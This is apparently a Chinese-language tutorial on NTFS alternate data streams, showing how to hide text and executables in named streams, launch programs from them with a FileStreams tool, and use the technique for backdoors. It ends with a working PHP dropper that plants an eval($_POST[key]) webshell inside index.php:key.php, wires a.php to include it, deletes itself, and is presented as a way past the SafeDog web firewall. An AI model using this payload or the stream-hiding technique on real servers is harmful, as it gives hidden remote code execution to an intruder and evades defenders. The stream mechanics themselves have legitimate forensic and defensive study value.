NTFS文件流
NTFS文件系统实现了多文件流特性,NTFS环境中一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流
Windows资源管理器默认不显示出文件的命名文件流
这些命名文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序
NTFS文件流生成步骤
任意
NTFS分区下打开CMD窗口1
echo mstlab >> mst.txt:test.txt
则在当前目录下会生成一个名为
mst.txt的文件,但文件的大小为0字节,无内容使用以下命令可看到文件中的内容,即
mstlab1
notepad mst.txt:test.txt
其中
test.txt为命名文件流,mst.txt为默认的未命名文件流mst.txt可以不存在,或者为已经存在的文件。文件格式没有要求可以达到的目的:将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即
test.txt),则其他人无法查看到隐藏信息包含隐藏信息的文件仍然可以继续隐藏其他内容,即
mst.txt可以再次创建新的隐藏信息的流文件test1.txt,体现了NTFS的多文件流特性此时,
mst.txt:test.txt与mst.txt:test1.txt相互独立,无影响
在此时, mst.txt为宿主,被test.txt和test1.txt所寄生。当宿主消失,寄生也随之消失
NTFS特性
特性1
利用文件流启动程序
初始使用
工具:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
新建文本文档
mst.txt列举文件的文件流
1
FileStreams.exe enum mst.txt
如图,文件的文件流为
default(默认的文件流)创建新的文件流
vkey1
FileStreams.exe create mst.txt vkey
向
vkey文件流写入内容1
FileStreams.exe write mst.txt vkey mstsec
查看
vkey文件流内容1
FileStreams.exe dump mst.txt vkey 12
命令中的12为
vkey文件流的大小
使用文件流启动程序
删除文件流
vkey1
FileStreams.exe delete mst.txt vkey

创建新的文件流
wkey1
FileStreams.exe create mst.txt wkey

加入文件到文件流
wkey1
FileStreams.exe append mst.txt wkey C:\Users\W\Desktop\filestreams-master\Release\Release\FileStreams.exe

1
FileStreams.exe enum mst.txt

1
FileStreams.exe dump mst.txt wkey 10

执行文件流中的程序
1
FileStreams.exe launch mst.txt wkey

特性2
自动创建空文件
当创建寄生文件流时,若不存在指定的宿主文件,则会自动创建一个空的宿主文件,然后创建此文件的寄生文件流
NTFS实际应用
利用特性1可以实现软件后门
利用文件流绕过安全狗
webshell后门
1
2
3
4
5
6
7
8
9
10<?php
exec('echo "<?php @eval($_POST[key]);?>">>index.php:key.php');
$key = <<<key
echo "<?php include 'index.php:key.php';?>">>a.php
key;
exec($key);
$url = $_SERVER['PHP_SELF'];
$filename = substr($url,strrpos($url,'/')+1);
@unlink($filename);
?>